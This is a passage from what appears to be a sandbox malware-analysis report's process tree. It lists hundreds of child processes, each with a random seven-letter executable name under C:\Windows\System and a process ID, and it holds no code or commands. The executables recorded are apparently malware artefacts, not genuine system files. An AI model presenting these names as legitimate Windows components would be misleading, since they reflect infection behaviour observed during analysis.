  PID:5248
- C:\Windows\System\UmScWvM.exe
  C:\Windows\System\UmScWvM.exe
  2⤵
  PID:5264
- C:\Windows\System\sDYxMZY.exe
  C:\Windows\System\sDYxMZY.exe
  2⤵
  PID:5280
- C:\Windows\System\IiAhXyR.exe
  C:\Windows\System\IiAhXyR.exe
  2⤵
  PID:5304
- C:\Windows\System\REfaLFj.exe
  C:\Windows\System\REfaLFj.exe
  2⤵
  PID:5320
- C:\Windows\System\zjSJZxg.exe
  C:\Windows\System\zjSJZxg.exe
  2⤵
  PID:5336
- C:\Windows\System\waAitAL.exe
  C:\Windows\System\waAitAL.exe
  2⤵
  PID:5352
- C:\Windows\System\BJJrdCr.exe
  C:\Windows\System\BJJrdCr.exe
  2⤵
  PID:5368
- C:\Windows\System\dcWUYIK.exe
  C:\Windows\System\dcWUYIK.exe
  2⤵
  PID:5384
- C:\Windows\System\WzHICuC.exe
  C:\Windows\System\WzHICuC.exe
  2⤵
  PID:5400
- C:\Windows\System\yJtrPIp.exe
  C:\Windows\System\yJtrPIp.exe
  2⤵
  PID:5416
- C:\Windows\System\AOrLJyH.exe
  C:\Windows\System\AOrLJyH.exe
  2⤵
  PID:5432
- C:\Windows\System\QpSgxfq.exe
  C:\Windows\System\QpSgxfq.exe
  2⤵
  PID:5448
- C:\Windows\System\OkZENbN.exe
  C:\Windows\System\OkZENbN.exe
  2⤵
  PID:5464
- C:\Windows\System\qLMweqt.exe
  C:\Windows\System\qLMweqt.exe
  2⤵
  PID:5480
- C:\Windows\System\OeJdWON.exe
  C:\Windows\System\OeJdWON.exe
  2⤵
  PID:5496
- C:\Windows\System\JgZmxLV.exe
  C:\Windows\System\JgZmxLV.exe
  2⤵
  PID:5512
- C:\Windows\System\qUzhUTn.exe
  C:\Windows\System\qUzhUTn.exe
  2⤵
  PID:5528
- C:\Windows\System\KwlLkCX.exe
  C:\Windows\System\KwlLkCX.exe
  2⤵
  PID:5548
- C:\Windows\System\cDMWLyO.exe
  C:\Windows\System\cDMWLyO.exe
  2⤵
  PID:5764
- C:\Windows\System\vmTdnKF.exe
  C:\Windows\System\vmTdnKF.exe
  2⤵
  PID:3064
- C:\Windows\System\mavDGxf.exe
  C:\Windows\System\mavDGxf.exe
  2⤵
  PID:2916
- C:\Windows\System\SfmBjuw.exe
  C:\Windows\System\SfmBjuw.exe
  2⤵
  PID:2900
- C:\Windows\System\wBLjriq.exe
  C:\Windows\System\wBLjriq.exe
  2⤵
  PID:1104
- C:\Windows\System\dVDqNEo.exe
  C:\Windows\System\dVDqNEo.exe
  2⤵
  PID:5148
- C:\Windows\System\qTLwadb.exe
  C:\Windows\System\qTLwadb.exe
  2⤵
  PID:5240
- C:\Windows\System\lhzWqQB.exe
  C:\Windows\System\lhzWqQB.exe
  2⤵
  PID:5312
- C:\Windows\System\MmZMjED.exe
  C:\Windows\System\MmZMjED.exe
  2⤵
  PID:5376
- C:\Windows\System\sWkLsnB.exe
  C:\Windows\System\sWkLsnB.exe
  2⤵
  PID:5440
- C:\Windows\System\wgyvgAs.exe
  C:\Windows\System\wgyvgAs.exe
  2⤵
  PID:5504
- C:\Windows\System\yOXWCbx.exe
  C:\Windows\System\yOXWCbx.exe
  2⤵
  PID:5772
- C:\Windows\System\TAGcitR.exe
  C:\Windows\System\TAGcitR.exe
  2⤵
  PID:2160
- C:\Windows\System\gyPpNie.exe
  C:\Windows\System\gyPpNie.exe
  2⤵
  PID:980
- C:\Windows\System\nvQfGAi.exe
  C:\Windows\System\nvQfGAi.exe
  2⤵
  PID:996
- C:\Windows\System\vxRXzkb.exe
  C:\Windows\System\vxRXzkb.exe
  2⤵
  PID:2120
- C:\Windows\System\tHBUPqc.exe
  C:\Windows\System\tHBUPqc.exe
  2⤵
  PID:764
- C:\Windows\System\fqSsPHv.exe
  C:\Windows\System\fqSsPHv.exe
  2⤵
  PID:3128
- C:\Windows\System\vIbHTBh.exe
  C:\Windows\System\vIbHTBh.exe
  2⤵
  PID:3192
- C:\Windows\System\DNFKdJo.exe
  C:\Windows\System\DNFKdJo.exe
  2⤵
  PID:3256
- C:\Windows\System\rgKcgEB.exe
  C:\Windows\System\rgKcgEB.exe
  2⤵
  PID:3320
- C:\Windows\System\Barlple.exe
  C:\Windows\System\Barlple.exe
  2⤵
  PID:3384
- C:\Windows\System\iEKwEQK.exe
  C:\Windows\System\iEKwEQK.exe
  2⤵
  PID:3448
- C:\Windows\System\aBwwtOh.exe
  C:\Windows\System\aBwwtOh.exe
  2⤵
  PID:5792
- C:\Windows\System\hxepmvO.exe
  C:\Windows\System\hxepmvO.exe
  2⤵
  PID:5808
- C:\Windows\System\OUuCcfU.exe
  C:\Windows\System\OUuCcfU.exe
  2⤵
  PID:5876
- C:\Windows\System\KFSzOXk.exe
  C:\Windows\System\KFSzOXk.exe
  2⤵
  PID:5892
- C:\Windows\System\KgzAFeI.exe
  C:\Windows\System\KgzAFeI.exe
  2⤵
  PID:5908
- C:\Windows\System\GTHtOzh.exe
  C:\Windows\System\GTHtOzh.exe
  2⤵
  PID:5924
- C:\Windows\System\qWBDWuj.exe
  C:\Windows\System\qWBDWuj.exe
  2⤵
  PID:5940
- C:\Windows\System\aSnRNPp.exe
  C:\Windows\System\aSnRNPp.exe
  2⤵
  PID:5956
- C:\Windows\System\NdBfeSU.exe
  C:\Windows\System\NdBfeSU.exe
  2⤵
  PID:5972
- C:\Windows\System\SrlrDEK.exe
  C:\Windows\System\SrlrDEK.exe
  2⤵
  PID:5988
- C:\Windows\System\GsRgTLZ.exe
  C:\Windows\System\GsRgTLZ.exe
  2⤵
  PID:6004
- C:\Windows\System\XFhaZGm.exe
  C:\Windows\System\XFhaZGm.exe
  2⤵
  PID:6020
- C:\Windows\System\INUBGIv.exe
  C:\Windows\System\INUBGIv.exe
  2⤵
  PID:6036
- C:\Windows\System\dsjhgaV.exe
  C:\Windows\System\dsjhgaV.exe
  2⤵
  PID:6052
- C:\Windows\System\COcVXSK.exe
  C:\Windows\System\COcVXSK.exe
  2⤵
  PID:6068
- C:\Windows\System\ndzSPzB.exe
  C:\Windows\System\ndzSPzB.exe
  2⤵
  PID:6084
- C:\Windows\System\wnktFcp.exe
  C:\Windows\System\wnktFcp.exe
  2⤵
  PID:6100
- C:\Windows\System\DnKjyGt.exe
  C:\Windows\System\DnKjyGt.exe
  2⤵
  PID:6116
- C:\Windows\System\UJgalJc.exe
  C:\Windows\System\UJgalJc.exe
  2⤵
  PID:6132
- C:\Windows\System\jigRfXy.exe
  C:\Windows\System\jigRfXy.exe
  2⤵
  PID:2548
- C:\Windows\System\eFHbIPO.exe
  C:\Windows\System\eFHbIPO.exe
  2⤵
  PID:2640
- C:\Windows\System\xObXsyu.exe
  C:\Windows\System\xObXsyu.exe
  2⤵
  PID:5408
- C:\Windows\System\SJkKtGa.exe
  C:\Windows\System\SJkKtGa.exe
  2⤵
  PID:5544
- C:\Windows\System\VigxBkU.exe
  C:\Windows\System\VigxBkU.exe
  2⤵
  PID:2320
- C:\Windows\System\suyZaqS.exe
  C:\Windows\System\suyZaqS.exe
  2⤵
  PID:3252
- C:\Windows\System\ewctFkr.exe
  C:\Windows\System\ewctFkr.exe
  2⤵
  PID:5788
- C:\Windows\System\bFAuSxV.exe
  C:\Windows\System\bFAuSxV.exe
  2⤵
  PID:5832
- C:\Windows\System\nOgwBkf.exe
  C:\Windows\System\nOgwBkf.exe
  2⤵
  PID:5848
- C:\Windows\System\VLMWYcW.exe
  C:\Windows\System\VLMWYcW.exe
  2⤵
  PID:5868
- C:\Windows\System\GhBCxVc.exe
  C:\Windows\System\GhBCxVc.exe
  2⤵
  PID:6152
- C:\Windows\System\uaUqvYZ.exe
  C:\Windows\System\uaUqvYZ.exe
  2⤵
  PID:6168
- C:\Windows\System\ooAkwSr.exe
  C:\Windows\System\ooAkwSr.exe
  2⤵
  PID:6184
- C:\Windows\System\AnXenBh.exe
  C:\Windows\System\AnXenBh.exe
  2⤵
  PID:6200
- C:\Windows\System\UkXblZB.exe
  C:\Windows\System\UkXblZB.exe
  2⤵
  PID:6216
- C:\Windows\System\IqtwCyi.exe
  C:\Windows\System\IqtwCyi.exe
  2⤵
  PID:6260
- C:\Windows\System\lIrtIxO.exe
  C:\Windows\System\lIrtIxO.exe
  2⤵
  PID:6292
- C:\Windows\System\HdAMyax.exe
  C:\Windows\System\HdAMyax.exe
  2⤵
  PID:6308
- C:\Windows\System\dBnaQXF.exe
  C:\Windows\System\dBnaQXF.exe
  2⤵
  PID:6324
- C:\Windows\System\LlVbRgI.exe
  C:\Windows\System\LlVbRgI.exe
  2⤵
  PID:6360
- C:\Windows\System\QofeaEo.exe
  C:\Windows\System\QofeaEo.exe
  2⤵
  PID:6376
- C:\Windows\System\cHcpHWd.exe
  C:\Windows\System\cHcpHWd.exe
  2⤵
  PID:6392
- C:\Windows\System\yJGoLgA.exe
  C:\Windows\System\yJGoLgA.exe
  2⤵
  PID:6408
- C:\Windows\System\VFEmEvk.exe
  C:\Windows\System\VFEmEvk.exe
  2⤵
  PID:6432
- C:\Windows\System\UnYiivA.exe
  C:\Windows\System\UnYiivA.exe
  2⤵
  PID:6448
- C:\Windows\System\zrJSlec.exe
  C:\Windows\System\zrJSlec.exe
  2⤵
  PID:6464
- C:\Windows\System\MoMKhUX.exe
  C:\Windows\System\MoMKhUX.exe
  2⤵
  PID:6480
- C:\Windows\System\bNbmrWV.exe
  C:\Windows\System\bNbmrWV.exe
  2⤵
  PID:6496
- C:\Windows\System\tszNUWN.exe
  C:\Windows\System\tszNUWN.exe
  2⤵
  PID:6512
- C:\Windows\System\Ynrnsqh.exe
  C:\Windows\System\Ynrnsqh.exe
  2⤵
  PID:6528
- C:\Windows\System\yetAHKs.exe
  C:\Windows\System\yetAHKs.exe
  2⤵
  PID:6544
- C:\Windows\System\fpRaDty.exe
  C:\Windows\System\fpRaDty.exe
  2⤵
  PID:6560
- C:\Windows\System\SDRsoTl.exe
  C:\Windows\System\SDRsoTl.exe
  2⤵
  PID:6576
- C:\Windows\System\IFbbNEz.exe
  C:\Windows\System\IFbbNEz.exe
  2⤵
  PID:6592
- C:\Windows\System\NQcwJMN.exe
  C:\Windows\System\NQcwJMN.exe
  2⤵
  PID:6612
- C:\Windows\System\jziYblm.exe
  C:\Windows\System\jziYblm.exe
  2⤵
  PID:6632
- C:\Windows\System\nYmuhLi.exe
  C:\Windows\System\nYmuhLi.exe
  2⤵
  PID:6648
- C:\Windows\System\iGLYFLL.exe
  C:\Windows\System\iGLYFLL.exe
  2⤵
  PID:6668
- C:\Windows\System\zbiQKHX.exe
  C:\Windows\System\zbiQKHX.exe
  2⤵
  PID:6684
- C:\Windows\System\ozevhRB.exe
  C:\Windows\System\ozevhRB.exe
  2⤵
  PID:6704
- C:\Windows\System\wxfsytT.exe
  C:\Windows\System\wxfsytT.exe
  2⤵
  PID:6720
- C:\Windows\System\eLRRsyP.exe
  C:\Windows\System\eLRRsyP.exe
  2⤵
  PID:6760
- C:\Windows\System\AWGcZbg.exe
  C:\Windows\System\AWGcZbg.exe
  2⤵
  PID:6776
- C:\Windows\System\hxYChvj.exe
  C:\Windows\System\hxYChvj.exe
  2⤵
  PID:6792
- C:\Windows\System\ZnowYMN.exe
  C:\Windows\System\ZnowYMN.exe
  2⤵
  PID:6808
- C:\Windows\System\CKISnMA.exe
  C:\Windows\System\CKISnMA.exe
  2⤵
  PID:6824
- C:\Windows\System\rOknhDc.exe
  C:\Windows\System\rOknhDc.exe
  2⤵
  PID:6964
- C:\Windows\System\nQeuHaK.exe
  C:\Windows\System\nQeuHaK.exe
  2⤵
  PID:6980
- C:\Windows\System\alMjhDS.exe
  C:\Windows\System\alMjhDS.exe
  2⤵
  PID:7012
- C:\Windows\System\gVwhhhz.exe
  C:\Windows\System\gVwhhhz.exe
  2⤵
  PID:7096
- C:\Windows\System\gyQlsSO.exe
  C:\Windows\System\gyQlsSO.exe
  2⤵
  PID:7136
- C:\Windows\System\eeTuQki.exe
  C:\Windows\System\eeTuQki.exe
  2⤵
  PID:1576
- C:\Windows\System\LOvgPKC.exe
  C:\Windows\System\LOvgPKC.exe
  2⤵
  PID:5824
- C:\Windows\System\zBIwaET.exe
  C:\Windows\System\zBIwaET.exe
  2⤵
  PID:4140
- C:\Windows\System\fincbkh.exe
  C:\Windows\System\fincbkh.exe
  2⤵
  PID:6300
- C:\Windows\System\PUAfQhw.exe
  C:\Windows\System\PUAfQhw.exe
  2⤵
  PID:4272
- C:\Windows\System\vpxGwVO.exe
  C:\Windows\System\vpxGwVO.exe
  2⤵
  PID:4464
- C:\Windows\System\zOWATJT.exe
  C:\Windows\System\zOWATJT.exe
  2⤵
  PID:4528
- C:\Windows\System\xVaQycA.exe
  C:\Windows\System\xVaQycA.exe
  2⤵
  PID:4628
- C:\Windows\System\PPlBqDs.exe
  C:\Windows\System\PPlBqDs.exe
  2⤵
  PID:6096
- C:\Windows\System\mYkfTjx.exe
  C:\Windows\System\mYkfTjx.exe
  2⤵
  PID:4752
- C:\Windows\System\AtuIyPs.exe
  C:\Windows\System\AtuIyPs.exe
  2⤵
  PID:4788
- C:\Windows\System\GHrBQZh.exe
  C:\Windows\System\GHrBQZh.exe
  2⤵
  PID:4976
- C:\Windows\System\EjSWJuL.exe
  C:\Windows\System\EjSWJuL.exe
  2⤵
  PID:5040
- C:\Windows\System\VSLSjss.exe
  C:\Windows\System\VSLSjss.exe
  2⤵
  PID:2684
- C:\Windows\System\lygyIXW.exe
  C:\Windows\System\lygyIXW.exe
  2⤵
  PID:6492
- C:\Windows\System\VfUaWyN.exe
  C:\Windows\System\VfUaWyN.exe
  2⤵
  PID:6236
- C:\Windows\System\aGYTaAV.exe
  C:\Windows\System\aGYTaAV.exe
  2⤵
  PID:4928
- C:\Windows\System\ksUfDQY.exe
  C:\Windows\System\ksUfDQY.exe
  2⤵
  PID:4220
- C:\Windows\System\yYwCxnm.exe
  C:\Windows\System\yYwCxnm.exe
  2⤵
  PID:4836
- C:\Windows\System\MKZdheI.exe
  C:\Windows\System\MKZdheI.exe
  2⤵
  PID:6424
- C:\Windows\System\GiIQEQP.exe
  C:\Windows\System\GiIQEQP.exe
  2⤵
  PID:6488
- C:\Windows\System\irFGmcA.exe
  C:\Windows\System\irFGmcA.exe
  2⤵
  PID:5364
- C:\Windows\System\CVzAWPt.exe
  C:\Windows\System\CVzAWPt.exe
  2⤵
  PID:6624
- C:\Windows\System\jKvfjUF.exe
  C:\Windows\System\jKvfjUF.exe
  2⤵
  PID:2104
- C:\Windows\System\iLljbRn.exe
  C:\Windows\System\iLljbRn.exe
  2⤵
  PID:1864
- C:\Windows\System\yOnVCtw.exe
  C:\Windows\System\yOnVCtw.exe
  2⤵
  PID:1556
- C:\Windows\System\ikNmVTL.exe
  C:\Windows\System\ikNmVTL.exe
  2⤵
  PID:6696
- C:\Windows\System\gsaLqpi.exe
  C:\Windows\System\gsaLqpi.exe
  2⤵
  PID:1940
- C:\Windows\System\KouZGZj.exe
  C:\Windows\System\KouZGZj.exe
  2⤵
  PID:2328
- C:\Windows\System\USRtLRZ.exe
  C:\Windows\System\USRtLRZ.exe
  2⤵
  PID:2592
- C:\Windows\System\NAzCUYN.exe
  C:\Windows\System\NAzCUYN.exe
  2⤵
  PID:2512
- C:\Windows\System\KuDMRXW.exe
  C:\Windows\System\KuDMRXW.exe
  2⤵
  PID:888
- C:\Windows\System\xVlUKCh.exe
  C:\Windows\System\xVlUKCh.exe
  2⤵
  PID:2936
- C:\Windows\System\kMKsXAG.exe
  C:\Windows\System\kMKsXAG.exe
  2⤵
  PID:3484
- C:\Windows\System\xACqvUl.exe
  C:\Windows\System\xACqvUl.exe
  2⤵
  PID:3548
- C:\Windows\System\SWMFors.exe
  C:\Windows\System\SWMFors.exe
  2⤵
  PID:3616
- C:\Windows\System\MWawdNM.exe
  C:\Windows\System\MWawdNM.exe
  2⤵
  PID:3680
- C:\Windows\System\xbKgnOE.exe
  C:\Windows\System\xbKgnOE.exe
  2⤵
  PID:3744
- C:\Windows\System\kEyEick.exe
  C:\Windows\System\kEyEick.exe
  2⤵
  PID:3808
- C:\Windows\System\RXEKFdV.exe
  C:\Windows\System\RXEKFdV.exe
  2⤵
  PID:3900
- C:\Windows\System\svYqzBE.exe
  C:\Windows\System\svYqzBE.exe
  2⤵
  PID:3968
- C:\Windows\System\CuiQlBA.exe
  C:\Windows\System\CuiQlBA.exe
  2⤵
  PID:4032
- C:\Windows\System\ZwDtLto.exe
  C:\Windows\System\ZwDtLto.exe
  2⤵
  PID:1064
- C:\Windows\System\PRUEcFf.exe
  C:\Windows\System\PRUEcFf.exe
  2⤵
  PID:3004
- C:\Windows\System\vKALECf.exe
  C:\Windows\System\vKALECf.exe
  2⤵
  PID:3108
- C:\Windows\System\oNAphqT.exe
  C:\Windows\System\oNAphqT.exe
  2⤵
  PID:3364
- C:\Windows\System\DsVTQHF.exe
  C:\Windows\System\DsVTQHF.exe
  2⤵
  PID:2644
- C:\Windows\System\UKEZzdo.exe
  C:\Windows\System\UKEZzdo.exe
  2⤵
  PID:3568
- C:\Windows\System\pwMXnkw.exe
  C:\Windows\System\pwMXnkw.exe
  2⤵
  PID:3728
- C:\Windows\System\dGdDLwv.exe
  C:\Windows\System\dGdDLwv.exe
  2⤵
  PID:296
- C:\Windows\System\cZpQxKM.exe
  C:\Windows\System\cZpQxKM.exe
  2⤵
  PID:3056
- C:\Windows\System\VVPsjIp.exe
  C:\Windows\System\VVPsjIp.exe
  2⤵
  PID:3528
- C:\Windows\System\VVlXHhI.exe
  C:\Windows\System\VVlXHhI.exe
  2⤵
  PID:5396
- C:\Windows\System\ZaSQpBb.exe
  C:\Windows\System\ZaSQpBb.exe
  2⤵
  PID:5460
- C:\Windows\System\ttneSCW.exe
  C:\Windows\System\ttneSCW.exe
  2⤵
  PID:5524
- C:\Windows\System\HZaBtYw.exe
  C:\Windows\System\HZaBtYw.exe
  2⤵
  PID:5568
- C:\Windows\System\JDSbimN.exe
  C:\Windows\System\JDSbimN.exe
  2⤵
  PID:5584
- C:\Windows\System\MTsCimX.exe
  C:\Windows\System\MTsCimX.exe
  2⤵
  PID:5600
- C:\Windows\System\xRcfzyN.exe
  C:\Windows\System\xRcfzyN.exe
  2⤵
  PID:5616
- C:\Windows\System\QCVMQHf.exe
  C:\Windows\System\QCVMQHf.exe
  2⤵
  PID:5632
- C:\Windows\System\hAhJcDh.exe
  C:\Windows\System\hAhJcDh.exe
  2⤵
  PID:5648
- C:\Windows\System\AVWPSpa.exe
  C:\Windows\System\AVWPSpa.exe
  2⤵
  PID:5664
- C:\Windows\System\uGgwZTx.exe
  C:\Windows\System\uGgwZTx.exe
  2⤵
  PID:5680
- C:\Windows\System\vvnLEPK.exe
  C:\Windows\System\vvnLEPK.exe
  2⤵
  PID:5696
- C:\Windows\System\pxOtUqi.exe
  C:\Windows\System\pxOtUqi.exe
  2⤵
  PID:5720
- C:\Windows\System\BbRKvDD.exe
  C:\Windows\System\BbRKvDD.exe
  2⤵
  PID:5736
- C:\Windows\System\owPdHII.exe
  C:\Windows\System\owPdHII.exe
  2⤵
  PID:5752
- C:\Windows\System\DBRVFJm.exe
  C:\Windows\System\DBRVFJm.exe
  2⤵
  PID:840
- C:\Windows\System\cFGUEdH.exe
  C:\Windows\System\cFGUEdH.exe
  2⤵
  PID:1608
- C:\Windows\System\VQcLvUp.exe
  C:\Windows\System\VQcLvUp.exe
  2⤵
  PID:2344
- C:\Windows\System\vnCBotr.exe
  C:\Windows\System\vnCBotr.exe
  2⤵
  PID:664
- C:\Windows\System\nWGhBEM.exe
  C:\Windows\System\nWGhBEM.exe
  2⤵
  PID:5348
- C:\Windows\System\svxVaow.exe
  C:\Windows\System\svxVaow.exe
  2⤵
  PID:876
- C:\Windows\System\DVMTVJa.exe
  C:\Windows\System\DVMTVJa.exe
  2⤵
  PID:3416
- C:\Windows\System\TNskUGC.exe
  C:\Windows\System\TNskUGC.exe
  2⤵
  PID:5888
- C:\Windows\System\tFpiQUP.exe
  C:\Windows\System\tFpiQUP.exe
  2⤵
  PID:5952
- C:\Windows\System\ttGTsnO.exe
  C:\Windows\System\ttGTsnO.exe
  2⤵
  PID:6016
- C:\Windows\System\StCTNNM.exe
  C:\Windows\System\StCTNNM.exe
  2⤵
  PID:3480
- C:\Windows\System\VHreIhr.exe
  C:\Windows\System\VHreIhr.exe
  2⤵
  PID:6140
- C:\Windows\System\jJYNPVh.exe
  C:\Windows\System\jJYNPVh.exe
  2⤵
  PID:828
- C:\Windows\System\CNoQose.exe
  C:\Windows\System\CNoQose.exe
  2⤵
  PID:5840
- C:\Windows\System\FCTHQzN.exe
  C:\Windows\System\FCTHQzN.exe
  2⤵
  PID:6176
- C:\Windows\System\sFdlhoh.exe
  C:\Windows\System\sFdlhoh.exe
  2⤵
  PID:6268
- C:\Windows\System\xCKlbGK.exe
  C:\Windows\System\xCKlbGK.exe
  2⤵
  PID:6284
- C:\Windows\System\qkWkVSi.exe
  C:\Windows\System\qkWkVSi.exe
  2⤵
  PID:6368
- C:\Windows\System\kSaYEgY.exe
  C:\Windows\System\kSaYEgY.exe
  2⤵
  PID:6440
- C:\Windows\System\wnoDbQs.exe
  C:\Windows\System\wnoDbQs.exe
  2⤵
  PID:6504
- C:\Windows\System\aQjhZBj.exe
  C:\Windows\System\aQjhZBj.exe
  2⤵
  PID:6568
- C:\Windows\System\uiXkRWS.exe
  C:\Windows\System\uiXkRWS.exe
  2⤵
  PID:6748
- C:\Windows\System\KMoMqSU.exe
  C:\Windows\System\KMoMqSU.exe
  2⤵
  PID:6788
- C:\Windows\System\DvbNrBv.exe
  C:\Windows\System\DvbNrBv.exe
  2⤵
  PID:6712
- C:\Windows\System\SLubwGN.exe
  C:\Windows\System\SLubwGN.exe
  2⤵
  PID:6820
- C:\Windows\System\kbisNdB.exe
  C:\Windows\System\kbisNdB.exe
  2⤵
  PID:2404
- C:\Windows\System\efTxEQq.exe
  C:\Windows\System\efTxEQq.exe
  2⤵
  PID:3008
- C:\Windows\System\gEQBKdF.exe
  C:\Windows\System\gEQBKdF.exe
  2⤵
  PID:6800
- C:\Windows\System\EKhURuv.exe
  C:\Windows\System\EKhURuv.exe
  2⤵
  PID:6772
- C:\Windows\System\GvZcVFx.exe
  C:\Windows\System\GvZcVFx.exe
  2⤵
  PID:6848
- C:\Windows\System\oOXgbuf.exe
  C:\Windows\System\oOXgbuf.exe
  2⤵
  PID:6876
- C:\Windows\System\qFlbcpk.exe
  C:\Windows\System\qFlbcpk.exe
  2⤵
  PID:6892
- C:\Windows\System\SqWqaHq.exe
  C:\Windows\System\SqWqaHq.exe
  2⤵
  PID:2648
- C:\Windows\System\MvvYtjn.exe
  C:\Windows\System\MvvYtjn.exe
  2⤵
  PID:1720
- C:\Windows\System\BhLqVOG.exe
  C:\Windows\System\BhLqVOG.exe
  2⤵
  PID:6948
- C:\Windows\System\HOyYyOc.exe
  C:\Windows\System\HOyYyOc.exe
  2⤵
  PID:6940
- C:\Windows\System\butfBJq.exe
  C:\Windows\System\butfBJq.exe
  2⤵
  PID:6972
- C:\Windows\System\Esgiwcx.exe
  C:\Windows\System\Esgiwcx.exe
  2⤵
  PID:7028
- C:\Windows\System\rwjIurz.exe
  C:\Windows\System\rwjIurz.exe
  2⤵
  PID:1252
- C:\Windows\System\qMDGYVZ.exe
  C:\Windows\System\qMDGYVZ.exe
  2⤵
  PID:1456
- C:\Windows\System\EbYXbJI.exe
  C:\Windows\System\EbYXbJI.exe
  2⤵
  PID:7056
- C:\Windows\System\NKxNJlE.exe
  C:\Windows\System\NKxNJlE.exe
  2⤵
  PID:6988
- C:\Windows\System\RWbWryQ.exe
  C:\Windows\System\RWbWryQ.exe
  2⤵
  PID:7004
- C:\Windows\System\YwFzhNH.exe
  C:\Windows\System\YwFzhNH.exe
  2⤵
  PID:3016
- C:\Windows\System\YgffbRQ.exe
  C:\Windows\System\YgffbRQ.exe
  2⤵
  PID:7104
- C:\Windows\System\dnShzEQ.exe
  C:\Windows\System\dnShzEQ.exe
  2⤵
  PID:2556
- C:\Windows\System\EQayYMb.exe
  C:\Windows\System\EQayYMb.exe
  2⤵
  PID:7144
- C:\Windows\System\FTOTdmU.exe
  C:\Windows\System\FTOTdmU.exe
  2⤵
  PID:7160
- C:\Windows\System\tPDsAxc.exe
  C:\Windows\System\tPDsAxc.exe
  2⤵
  PID:5996
- C:\Windows\System\HLnRoEi.exe
  C:\Windows\System\HLnRoEi.exe
  2⤵
  PID:6032
- C:\Windows\System\BdKEyua.exe
  C:\Windows\System\BdKEyua.exe
  2⤵
  PID:6124
- C:\Windows\System\GDSgPJJ.exe
  C:\Windows\System\GDSgPJJ.exe
  2⤵
  PID:3224
- C:\Windows\System\iNHMUhz.exe
  C:\Windows\System\iNHMUhz.exe
  2⤵
  PID:5904
- C:\Windows\System\YsMwQiu.exe
  C:\Windows\System\YsMwQiu.exe
  2⤵
  PID:6164
- C:\Windows\System\NQTeoOS.exe
  C:\Windows\System\NQTeoOS.exe
  2⤵
  PID:4112
- C:\Windows\System\MYkswBM.exe
  C:\Windows\System\MYkswBM.exe
  2⤵
  PID:3552
- C:\Windows\System\QYHiVEl.exe
  C:\Windows\System\QYHiVEl.exe
  2⤵
  PID:4204
- C:\Windows\System\vhCcorR.exe
  C:\Windows\System\vhCcorR.exe
  2⤵
  PID:4364
- C:\Windows\System\pzcnXvV.exe
  C:\Windows\System\pzcnXvV.exe
  2⤵
  PID:4460
- C:\Windows\System\akKAAvn.exe
  C:\Windows\System\akKAAvn.exe
  2⤵
  PID:4400
- C:\Windows\System\YAwGcPH.exe
  C:\Windows\System\YAwGcPH.exe
  2⤵
  PID:4592
- C:\Windows\System\kDYTdNt.exe
  C:\Windows\System\kDYTdNt.exe
  2⤵
  PID:4660
- C:\Windows\System\cUlZPyV.exe
  C:\Windows\System\cUlZPyV.exe
  2⤵
  PID:2428
- C:\Windows\System\gqKWAcX.exe
  C:\Windows\System\gqKWAcX.exe
  2⤵
  PID:5008
- C:\Windows\System\yJPyEHl.exe
  C:\Windows\System\yJPyEHl.exe
  2⤵
  PID:4880
- C:\Windows\System\TORXMTf.exe
  C:\Windows\System\TORXMTf.exe
  2⤵
  PID:4948
- C:\Windows\System\LGQeQki.exe
  C:\Windows\System\LGQeQki.exe
  2⤵
  PID:6420
- C:\Windows\System\EEJQoDD.exe
  C:\Windows\System\EEJQoDD.exe
  2⤵
  PID:5076
- C:\Windows\System\GQtoePz.exe
  C:\Windows\System\GQtoePz.exe
  2⤵
  PID:4644
- C:\Windows\System\YVGdLae.exe
  C:\Windows\System\YVGdLae.exe
  2⤵
  PID:4900
- C:\Windows\System\lVWDfmb.exe
  C:\Windows\System\lVWDfmb.exe
  2⤵
  PID:2524
- C:\Windows\System\dhKWbqd.exe
  C:\Windows\System\dhKWbqd.exe
  2⤵
  PID:4772
- C:\Windows\System\zqqvlEb.exe
  C:\Windows\System\zqqvlEb.exe
  2⤵
  PID:1908
- C:\Windows\System\jVkqedR.exe
  C:\Windows\System\jVkqedR.exe
  2⤵
  PID:5160
- C:\Windows\System\DnePEUd.exe
  C:\Windows\System\DnePEUd.exe
  2⤵
  PID:2148
- C:\Windows\System\WNQTLuD.exe
  C:\Windows\System\WNQTLuD.exe
  2⤵
  PID:5196
- C:\Windows\System\yvSHLfp.exe
  C:\Windows\System\yvSHLfp.exe
  2⤵
  PID:5260
- C:\Windows\System\kMhwPoF.exe
  C:\Windows\System\kMhwPoF.exe
  2⤵
  PID:5296
- C:\Windows\System\ORzIBMx.exe
  C:\Windows\System\ORzIBMx.exe
  2⤵
  PID:6584
- C:\Windows\System\ZggpaXC.exe
  C:\Windows\System\ZggpaXC.exe
  2⤵
  PID:2608
- C:\Windows\System\pMPJlWL.exe
  C:\Windows\System\pMPJlWL.exe
  2⤵
  PID:5344
- C:\Windows\System\HWeFaKE.exe
  C:\Windows\System\HWeFaKE.exe
  2⤵
  PID:1676
- C:\Windows\System\qNMSbtN.exe
  C:\Windows\System\qNMSbtN.exe
  2⤵
  PID:3676
- C:\Windows\System\sWTIQoL.exe
  C:\Windows\System\sWTIQoL.exe
  2⤵
  PID:3964
- C:\Windows\System\LidBSYF.exe
  C:\Windows\System\LidBSYF.exe
  2⤵
  PID:3080
- C:\Windows\System\YEVQTkk.exe
  C:\Windows\System\YEVQTkk.exe
  2⤵
  PID:2732
- C:\Windows\System\oLokOKx.exe
  C:\Windows\System\oLokOKx.exe
  2⤵
  PID:2780
- C:\Windows\System\LBWoSEt.exe
  C:\Windows\System\LBWoSEt.exe
  2⤵
  PID:3724
- C:\Windows\System\sNaWfDJ.exe
  C:\Windows\System\sNaWfDJ.exe
  2⤵
  PID:2236
- C:\Windows\System\TSUxTZW.exe
  C:\Windows\System\TSUxTZW.exe
  2⤵
  PID:3612
- C:\Windows\System\vWCMWtJ.exe
  C:\Windows\System\vWCMWtJ.exe
  2⤵
  PID:3872
- C:\Windows\System\lojOidG.exe
  C:\Windows\System\lojOidG.exe
  2⤵
  PID:320
- C:\Windows\System\XYduQHn.exe
  C:\Windows\System\XYduQHn.exe
  2⤵
  PID:3564
- C:\Windows\System\nkakcIG.exe
  C:\Windows\System\nkakcIG.exe
  2⤵
  PID:5392
- C:\Windows\System\FLaiKrB.exe
  C:\Windows\System\FLaiKrB.exe
  2⤵
  PID:5456
- C:\Windows\System\tvwbXok.exe
  C:\Windows\System\tvwbXok.exe
  2⤵
  PID:5596
- C:\Windows\System\EYUiCXK.exe
  C:\Windows\System\EYUiCXK.exe
  2⤵
  PID:5660
- C:\Windows\System\pgdtxPm.exe
  C:\Windows\System\pgdtxPm.exe
  2⤵
  PID:1152
